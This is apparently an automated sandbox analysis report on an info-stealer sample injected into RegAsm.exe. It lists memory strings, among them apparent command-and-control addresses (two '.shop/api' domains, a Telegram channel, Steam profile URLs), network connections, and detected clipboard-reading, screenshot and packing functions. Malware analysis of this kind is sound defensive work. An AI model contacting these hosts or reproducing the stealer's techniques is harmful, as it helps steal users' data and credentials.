Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.3002340946.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://stogeneratmns.shop/api
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: JKKEHJ.3.dr String found in binary or memory: https://support.mozilla.org
Source: JKKEHJ.3.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKKEHJ.3.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vozmeatillu.shop/api
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: GCGHCB.3.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: https://www.entrust.net/rpa0
Source: GCGHCB.3.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: JKKEHJ.3.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: MFDBG.exe, 00000007.00000002.4525807658.0000000002E81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://yalubluseks.eu/t
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.5:49757 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 15_2_00437DE0
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 15_2_00437DE0
Contains functionality to record screenshots
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 3_2_00411F55

System Summary
barindex
.NET source code contains very large array initializations
Source: file.exe, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 393216
Source: BFIIEHJDBK.exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 357376
Source: 66f4247d51812_lfdsjna[1].exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 357376
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess, 3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C0FB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0FB8C0 rand_s,NtQueryVirtualMemory, 3_2_6C0FB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 3_2_6C0FB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C09F280
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D903 3_2_0042D903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D193 3_2_0042D193
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C43C 3_2_0041C43C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004194D4 3_2_004194D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042DCEB 3_2_0042DCEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042CCFE 3_2_0042CCFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D531 3_2_0042D531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041B6DC 3_2_0041B6DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0935A0 3_2_6C0935A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C10AC00 3_2_6C10AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D5C10 3_2_6C0D5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0E2C10 3_2_6C0E2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C10542B 3_2_6C10542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A5440 3_2_6C0A5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C10545C 3_2_6C10545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A6C80 3_2_6C0A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F34A0 3_2_6C0F34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0FC4A0 3_2_6C0FC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A64C0 3_2_6C0A64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0BD4D0 3_2_6C0BD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09D4E0 3_2_6C09D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D6CF0 3_2_6C0D6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0AFD00 3_2_6C0AFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0BED10 3_2_6C0BED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0C0512 3_2_6C0C0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D0DD0 3_2_6C0D0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F85F0 3_2_6C0F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0E5600 3_2_6C0E5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D7E10 3_2_6C0D7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F9E30 3_2_6C0F9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0E2E4E 3_2_6C0E2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0B4640 3_2_6C0B4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0B9E50 3_2_6C0B9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D3E50 3_2_6C0D3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C106E63 3_2_6C106E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09C670 3_2_6C09C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0FE680 3_2_6C0FE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0B5E90 3_2_6C0B5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F4EA0 3_2_6C0F4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1076E3 3_2_6C1076E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09BEF0 3_2_6C09BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0AFEF0 3_2_6C0AFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A9F00 3_2_6C0A9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D7710 3_2_6C0D7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0E77A0 3_2_6C0E77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09DFE0 3_2_6C09DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0C6FF0 3_2_6C0C6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A7810 3_2_6C0A7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0DB820 3_2_6C0DB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0E4820 3_2_6C0E4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0B8850 3_2_6C0B8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0BD850 3_2_6C0BD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0DF070 3_2_6C0DF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0C60A0 3_2_6C0C60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1050C7 3_2_6C1050C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0BC0E0 3_2_6C0BC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D58E0 3_2_6C0D58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0BA940 3_2_6C0BA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C10B170 3_2_6C10B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0AD960 3_2_6C0AD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0EB970 3_2_6C0EB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D5190 3_2_6C0D5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F2990 3_2_6C0F2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09C9A0 3_2_6C09C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0CD9B0 3_2_6C0CD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D9A60 3_2_6C0D9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C10BA90 3_2_6C10BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C102AB0 3_2_6C102AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0922A0 3_2_6C0922A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0C4AA0 3_2_6C0C4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0ACAB0 3_2_6C0ACAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0D8AC0 3_2_6C0D8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0B1AF0 3_2_6C0B1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0DE2F0 3_2_6C0DE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0DD320 3_2_6C0DD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C095340 3_2_6C095340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0AC370 3_2_6C0AC370
